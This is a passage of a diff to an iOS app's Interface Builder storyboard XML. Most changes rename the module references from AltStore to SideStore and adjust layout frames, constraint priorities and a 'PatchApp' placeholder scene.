<rect key="frame" x="0.0" y="129" width="375" height="44"/>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="EL5-UC-RIw" customClass="AppContentTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="151" width="375" height="98"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" ambiguous="YES" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="EL5-UC-RIw" id="D1G-nK-G0Z">
<rect key="frame" x="0.0" y="0.0" width="375" height="44"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="EL5-UC-RIw" id="D1G-nK-G0Z">
<rect key="frame" x="0.0" y="0.0" width="375" height="98"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<textView clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" scrollEnabled="NO" editable="NO" text="Hello Me" textAlignment="natural" translatesAutoresizingMaskIntoConstraints="NO" id="Pyt-8D-BZA" customClass="CollapsingTextView" customModule="AltStore" customModuleProvider="target">
<textView clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" scrollEnabled="NO" editable="NO" text="Hello Me" textAlignment="natural" translatesAutoresizingMaskIntoConstraints="NO" id="Pyt-8D-BZA" customClass="CollapsingTextView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="20" y="20" width="335" height="34"/>
<color key="backgroundColor" name="Background"/>
<fontDescription key="fontDescription" type="system" pointSize="15"/>
@@ -313,8 +314,8 @@
</textView>
</subviews>
<constraints>
<constraint firstItem="Pyt-8D-BZA" firstAttribute="top" secondItem="D1G-nK-G0Z" secondAttribute="top" constant="20" id="Lm9-lx-kJ8"/>
<constraint firstAttribute="bottom" secondItem="Pyt-8D-BZA" secondAttribute="bottom" constant="44" id="TSS-Au-gYx"/>
<constraint firstItem="Pyt-8D-BZA" firstAttribute="top" secondItem="D1G-nK-G0Z" secondAttribute="top" priority="999" constant="20" id="Lm9-lx-kJ8"/>
<constraint firstAttribute="bottom" secondItem="Pyt-8D-BZA" secondAttribute="bottom" priority="999" constant="44" id="TSS-Au-gYx"/>
<constraint firstItem="Pyt-8D-BZA" firstAttribute="leading" secondItem="D1G-nK-G0Z" secondAttribute="leading" constant="20" id="UlS-ct-L9Y"/>
<constraint firstAttribute="trailing" secondItem="Pyt-8D-BZA" secondAttribute="trailing" constant="20" id="Wq4-Ql-wvN"/>
</constraints>
@@ -322,30 +323,30 @@
<color key="backgroundColor" name="Background"/>
<inset key="separatorInset" minX="1000" minY="0.0" maxX="0.0" maxY="0.0"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="47M-El-a4G" customClass="AppContentTableViewCell" customModule="AltStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="173" width="375" height="44"/>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="47M-El-a4G" customClass="AppContentTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="249" width="375" height="137.5"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="47M-El-a4G" id="f9D-OR-oGE">
<rect key="frame" x="0.0" y="0.0" width="375" height="44"/>
<rect key="frame" x="0.0" y="0.0" width="375" height="137.5"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<stackView opaque="NO" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" axis="vertical" distribution="equalSpacing" spacing="12" translatesAutoresizingMaskIntoConstraints="NO" id="n9R-39-Glq">
<rect key="frame" x="0.0" y="0.0" width="375" height="60"/>
<rect key="frame" x="0.0" y="0.0" width="375" height="137.5"/>
<subviews>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="4" translatesAutoresizingMaskIntoConstraints="NO" id="y3w-4S-e64">
<rect key="frame" x="20" y="0.0" width="335" height="4"/>
<rect key="frame" x="20" y="0.0" width="335" height="47.5"/>
<subviews>
<stackView opaque="NO" contentMode="scaleToFill" distribution="equalSpacing" spacing="11" translatesAutoresizingMaskIntoConstraints="NO" id="PFD-gZ-77F">
<rect key="frame" x="0.0" y="0.0" width="335" height="0.0"/>
<rect key="frame" x="0.0" y="0.0" width="335" height="26.5"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" verticalCompressionResistancePriority="751" text="What's New" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="obM-TM-y2E">
<rect key="frame" x="0.0" y="0.0" width="124" height="0.0"/>
<rect key="frame" x="0.0" y="0.0" width="124" height="26.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="22"/>
<nil key="textColor"/>
<nil key="highlightedColor"/>
</label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" verticalCompressionResistancePriority="751" text="2w ago" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="wGD-mS-8fO">
<rect key="frame" x="285" y="0.0" width="50" height="0.0"/>
<rect key="frame" x="285" y="0.0" width="50" height="26.5"/>
<fontDescription key="fontDescription" type="system" pointSize="15"/>
<color key="textColor" white="0.5" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/>
@@ -353,16 +354,16 @@
</subviews>
</stackView>
<stackView opaque="NO" contentMode="scaleToFill" distribution="equalSpacing" translatesAutoresizingMaskIntoConstraints="NO" id="ewH-gi-pyW">
<rect key="frame" x="0.0" y="4" width="335" height="0.0"/>
<rect key="frame" x="0.0" y="30.5" width="335" height="17"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" verticalCompressionResistancePriority="751" text="Version 4.4.2" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="7E0-TV-G4l">
<rect key="frame" x="0.0" y="0.0" width="84.5" height="0.0"/>
<rect key="frame" x="0.0" y="0.0" width="84.5" height="17"/>
<fontDescription key="fontDescription" type="system" pointSize="14"/>
<color key="textColor" white="0.66666666666666663" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/>
</label>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" verticalCompressionResistancePriority="751" text="50.4 MB" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="DgM-bD-bBY">
<rect key="frame" x="280.5" y="0.0" width="54.5" height="0.0"/>
<rect key="frame" x="280.5" y="0.0" width="54.5" height="17"/>
<fontDescription key="fontDescription" type="system" pointSize="14"/>
<color key="textColor" white="0.66666666666666663" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/>
@@ -371,8 +372,8 @@
</stackView>
</subviews>
</stackView>
<textView clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" scrollEnabled="NO" editable="NO" textAlignment="natural" translatesAutoresizingMaskIntoConstraints="NO" id="wQF-WY-Gdz" customClass="CollapsingTextView" customModule="AltStore" customModuleProvider="target">
<rect key="frame" x="20" y="16" width="335" height="0.0"/>
<textView clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" scrollEnabled="NO" editable="NO" textAlignment="natural" translatesAutoresizingMaskIntoConstraints="NO" id="wQF-WY-Gdz" customClass="CollapsingTextView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="20" y="59.5" width="335" height="34"/>
<color key="backgroundColor" name="Background"/>
<fontDescription key="fontDescription" type="system" pointSize="15"/>
<textInputTraits key="textInputTraits" autocapitalizationType="sentences"/>
@@ -392,7 +393,7 @@
<inset key="separatorInset" minX="1000" minY="0.0" maxX="0.0" maxY="0.0"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" rowHeight="149" id="nM7-vJ-W8b">
<rect key="frame" x="0.0" y="217" width="375" height="149"/>
<rect key="frame" x="0.0" y="386.5" width="375" height="149"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="nM7-vJ-W8b" id="cQ2-Jd-pRK">
<rect key="frame" x="0.0" y="0.0" width="375" height="149"/>
@@ -411,7 +412,7 @@
<rect key="frame" x="0.0" y="41" width="375" height="88"/>
<color key="backgroundColor" name="Background"/>
<constraints>
<constraint firstAttribute="height" constant="88" id="6Lk-OO-MsA"/>
<constraint firstAttribute="height" priority="999" constant="88" id="6Lk-OO-MsA"/>
</constraints>
<collectionViewFlowLayout key="collectionViewLayout" scrollDirection="horizontal" minimumLineSpacing="10" minimumInteritemSpacing="10" id="2HF-4d-3Im">
<size key="itemSize" width="60" height="88"/>
@@ -420,15 +421,15 @@
<inset key="sectionInset" minX="20" minY="0.0" maxX="20" maxY="0.0"/>
</collectionViewFlowLayout>
<cells>
<collectionViewCell opaque="NO" multipleTouchEnabled="YES" contentMode="center" reuseIdentifier="Cell" id="WYy-bZ-h3T" customClass="PermissionCollectionViewCell" customModule="AltStore" customModuleProvider="target">
<collectionViewCell opaque="NO" multipleTouchEnabled="YES" contentMode="center" reuseIdentifier="Cell" id="WYy-bZ-h3T" customClass="PermissionCollectionViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="20" y="0.0" width="60" height="88"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
<view key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO">
<rect key="frame" x="0.0" y="0.0" width="60" height="88"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<stackView verifyAmbiguity="off" opaque="NO" contentMode="scaleToFill" ambiguous="YES" axis="vertical" alignment="center" spacing="6" translatesAutoresizingMaskIntoConstraints="NO" id="fSx-We-L4W">
<rect key="frame" x="0.0" y="0.0" width="56" height="56"/>
<stackView verifyAmbiguity="off" opaque="NO" contentMode="scaleToFill" axis="vertical" alignment="center" spacing="6" translatesAutoresizingMaskIntoConstraints="NO" id="fSx-We-L4W">
<rect key="frame" x="0.0" y="0.0" width="60" height="87.5"/>
<subviews>
<button opaque="NO" clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="79g-9q-mE2">
<rect key="frame" x="5" y="0.0" width="50" height="50"/>
@@ -510,7 +511,7 @@ World</string>
<!--Permission Popover View Controller-->
<scene sceneID="24j-EJ-G4e">
<objects>
<viewController id="Ojq-DN-xcF" customClass="PermissionPopoverViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<viewController id="Ojq-DN-xcF" customClass="PermissionPopoverViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" id="IgU-aM-YrX">
<rect key="frame" x="0.0" y="0.0" width="375" height="217"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -565,7 +566,7 @@ World</string>
<!--News-->
<scene sceneID="bqw-wB-hyB">
<objects>
<collectionViewController id="3sa-FZ-PTg" customClass="NewsViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<collectionViewController id="3sa-FZ-PTg" customClass="NewsViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" alwaysBounceVertical="YES" dataMode="prototypes" id="736-lq-Aef">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -591,10 +592,10 @@ World</string>
<!--Browse-->
<scene sceneID="VHa-uP-bFU">
<objects>
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="faz-B4-Sub" customClass="ForwardingNavigationController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="faz-B4-Sub" customClass="ForwardingNavigationController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<tabBarItem key="tabBarItem" title="Browse" image="Browse" id="Uwh-Bg-Ymq"/>
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="dIv-qd-9L5" customClass="NavigationBar" customModule="AltStore" customModuleProvider="target">
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="dIv-qd-9L5" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/>
<color key="tintColor" name="Primary"/>
@@ -608,15 +609,23 @@ World</string>
</objects>
<point key="canvasLocation" x="962" y="-17"/>
</scene>
<!--PatchApp-->
<scene sceneID="vdC-wt-hvX">
<objects>
<viewControllerPlaceholder storyboardName="PatchApp" id="bTL-bY-9Yq" sceneMemberID="viewController"/>
<placeholder placeholderIdentifier="IBFirstResponder" id="NyZ-z6-R2q" userLabel="First Responder" customClass="UIResponder" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="-1" y="545"/>
</scene>
<!--My Apps-->
<scene sceneID="nhh-BJ-XiT">
<objects>
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="3Ew-ox-i4n" customClass="ForwardingNavigationController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="3Ew-ox-i4n" customClass="ForwardingNavigationController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<tabBarItem key="tabBarItem" title="My Apps" image="MyApps" id="4gT-9u-k7y">
<color key="badgeColor" name="Primary"/>
</tabBarItem>
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="CzO-Kt-BlZ" customClass="NavigationBar" customModule="AltStore" customModuleProvider="target">
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="CzO-Kt-BlZ" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/>
</navigationBar>
@@ -632,7 +641,7 @@ World</string>
<!--My Apps-->
<scene sceneID="EC8-Sf-AF9">
<objects>
<collectionViewController id="hv7-Ar-voT" customClass="MyAppsViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<collectionViewController id="hv7-Ar-voT" customClass="MyAppsViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" alwaysBounceVertical="YES" dataMode="prototypes" id="Jrp-gi-4Df">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -644,14 +653,14 @@ World</string>
<inset key="sectionInset" minX="0.0" minY="0.0" maxX="0.0" maxY="0.0"/>
</collectionViewFlowLayout>
<cells>
<collectionViewCell opaque="NO" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" reuseIdentifier="AppCell" id="kMp-ym-2yu" customClass="InstalledAppCollectionViewCell" customModule="AltStore" customModuleProvider="target">
<collectionViewCell opaque="NO" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" reuseIdentifier="AppCell" id="kMp-ym-2yu" customClass="InstalledAppCollectionViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="375" height="60"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
<view key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO">
<rect key="frame" x="0.0" y="0.0" width="375" height="60"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="mos-e4-dQ7" customClass="AppBannerView" customModule="AltStore" customModuleProvider="target">
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="mos-e4-dQ7" customClass="AppBannerView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="8" y="0.0" width="359" height="60"/>
</view>
</subviews>
@@ -670,7 +679,7 @@ World</string>
</segue>
</connections>
</collectionViewCell>
<collectionViewCell opaque="NO" multipleTouchEnabled="YES" contentMode="center" reuseIdentifier="NoUpdatesCell" id="h0f-XI-UA5" customClass="NoUpdatesCollectionViewCell" customModule="AltStore" customModuleProvider="target">
<collectionViewCell opaque="NO" multipleTouchEnabled="YES" contentMode="center" reuseIdentifier="NoUpdatesCell" id="h0f-XI-UA5" customClass="NoUpdatesCollectionViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="75" width="375" height="60"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
<view key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO">
@@ -731,7 +740,7 @@ World</string>
</connections>
</collectionViewCell>
</cells>
<collectionReusableView key="sectionFooterView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="InstalledAppsFooter" id="HYs-co-nJZ" customClass="InstalledAppsCollectionFooterView" customModule="AltStore" customModuleProvider="target">
<collectionReusableView key="sectionFooterView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="InstalledAppsFooter" id="HYs-co-nJZ" customClass="InstalledAppsCollectionFooterView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="135" width="375" height="60.5"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
@@ -788,7 +797,7 @@ World</string>
<!--App IDs-->
<scene sceneID="kvf-US-rRe">
<objects>
<collectionViewController title="App IDs" id="y1A-Nm-mw7" customClass="AppIDsViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<collectionViewController title="App IDs" id="y1A-Nm-mw7" customClass="AppIDsViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" dataMode="prototypes" id="v1r-C8-h6h">
<rect key="frame" x="0.0" y="0.0" width="375" height="647"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -800,14 +809,14 @@ World</string>
<inset key="sectionInset" minX="0.0" minY="10" maxX="0.0" maxY="20"/>
</collectionViewFlowLayout>
<cells>
<collectionViewCell opaque="NO" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" reuseIdentifier="Cell" id="XWu-DU-xbh" customClass="BannerCollectionViewCell" customModule="AltStore" customModuleProvider="target">
<collectionViewCell opaque="NO" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" reuseIdentifier="Cell" id="XWu-DU-xbh" customClass="BannerCollectionViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="70" width="375" height="80"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
<view key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO">
<rect key="frame" x="0.0" y="0.0" width="375" height="80"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="1w8-fI-98T" customClass="AppBannerView" customModule="AltStore" customModuleProvider="target">
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="1w8-fI-98T" customClass="AppBannerView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="8" y="0.0" width="359" height="80"/>
<accessibility key="accessibilityConfiguration">
<bool key="isElement" value="YES"/>
@@ -826,7 +835,7 @@ World</string>
</connections>
</collectionViewCell>
</cells>
<collectionReusableView key="sectionHeaderView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="Header" id="th0-G6-bRt" customClass="TextCollectionReusableView" customModule="AltStore" customModuleProvider="target">
<collectionReusableView key="sectionHeaderView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="Header" id="th0-G6-bRt" customClass="TextCollectionReusableView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="375" height="60"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
@@ -847,7 +856,7 @@ World</string>
<outlet property="textLabel" destination="83Z-Ih-nOW" id="xxM-HD-iJS"/>
</connections>
</collectionReusableView>
<collectionReusableView key="sectionFooterView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="Footer" id="xMh-lD-r6C" customClass="TextCollectionReusableView" customModule="AltStore" customModuleProvider="target">
<collectionReusableView key="sectionFooterView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="Footer" id="xMh-lD-r6C" customClass="TextCollectionReusableView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="170" width="375" height="50"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
@@ -874,7 +883,7 @@ World</string>
<navigationItem key="navigationItem" title="App IDs" id="3Co-uv-Fhb">
<barButtonItem key="leftBarButtonItem" style="plain" id="Aqs-QK-Ups">
<view key="customView" contentMode="scaleToFill" id="p0q-Fg-3Ba">
<rect key="frame" x="16" y="7" width="83" height="42"/>
<rect key="frame" x="16" y="1" width="83" height="42"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
</view>
</barButtonItem>
@@ -896,10 +905,10 @@ World</string>
<!--News-->
<scene sceneID="BV8-6J-nIv">
<objects>
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="kjR-gi-fgT" customClass="ForwardingNavigationController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="kjR-gi-fgT" customClass="ForwardingNavigationController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<tabBarItem key="tabBarItem" title="News" image="News" id="fVN-ed-uO1"/>
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="525-jF-uDK" customClass="NavigationBar" customModule="AltStore" customModuleProvider="target">
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="525-jF-uDK" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/>
<edgeInsets key="layoutMargins" top="8" left="20" bottom="8" right="8"/>
@@ -919,7 +928,7 @@ World</string>
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="IXk-qg-mFJ" sceneMemberID="viewController">
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="9sB-f3-Fnk">
<rect key="frame" x="0.0" y="0.0" width="375" height="108"/>
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/>
</navigationBar>
<nil name="viewControllers"/>
@@ -934,26 +943,26 @@ World</string>
<!--Sources-->
<scene sceneID="0S1-zn-9KZ">
<objects>
<collectionViewController title="Sources" id="cHC-TX-KzQ" customClass="SourcesViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" dataMode="prototypes" id="S36-hD-vu2">
<collectionViewController title="Sources" id="cHC-TX-KzQ" customClass="SourcesViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<collectionView key="view" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" alwaysBounceVertical="YES" dataMode="prototypes" id="S36-hD-vu2">
<rect key="frame" x="0.0" y="0.0" width="375" height="647"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<color key="backgroundColor" systemColor="systemBackgroundColor"/>
<collectionViewFlowLayout key="collectionViewLayout" minimumLineSpacing="15" minimumInteritemSpacing="10" id="X20-b5-XEP">
<size key="itemSize" width="375" height="80"/>
<size key="headerReferenceSize" width="50" height="200"/>
<size key="footerReferenceSize" width="0.0" height="0.0"/>
<inset key="sectionInset" minX="0.0" minY="10" maxX="0.0" maxY="20"/>
<size key="footerReferenceSize" width="50" height="50"/>
<inset key="sectionInset" minX="0.0" minY="0.0" maxX="0.0" maxY="0.0"/>
</collectionViewFlowLayout>
<cells>
<collectionViewCell opaque="NO" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" reuseIdentifier="Cell" id="XcN-o4-9qm" customClass="BannerCollectionViewCell" customModule="AltStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="210" width="375" height="80"/>
<collectionViewCell opaque="NO" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" reuseIdentifier="Cell" id="XcN-o4-9qm" customClass="BannerCollectionViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="200" width="375" height="80"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
<view key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO">
<rect key="frame" x="0.0" y="0.0" width="375" height="80"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="LW1-CC-bWu" customClass="AppBannerView" customModule="AltStore" customModuleProvider="target">
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="LW1-CC-bWu" customClass="AppBannerView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="8" y="0.0" width="359" height="80"/>
<accessibility key="accessibilityConfiguration">
<bool key="isElement" value="YES"/>
@@ -972,11 +981,11 @@ World</string>
</connections>
</collectionViewCell>
</cells>
<collectionReusableView key="sectionHeaderView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="Header" id="8N7-JY-mcA" customClass="TextCollectionReusableView" customModule="AltStore" customModuleProvider="target">
<collectionReusableView key="sectionHeaderView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="Header" id="8N7-JY-mcA" customClass="TextCollectionReusableView" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="375" height="200"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Manage sources to control which apps are available to download through AltStore." textAlignment="natural" lineBreakMode="tailTruncation" numberOfLines="0" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="TZv-TM-uJj">
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Manage sources to control which apps are available to download through SideStore." textAlignment="natural" lineBreakMode="tailTruncation" numberOfLines="0" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="TZv-TM-uJj">
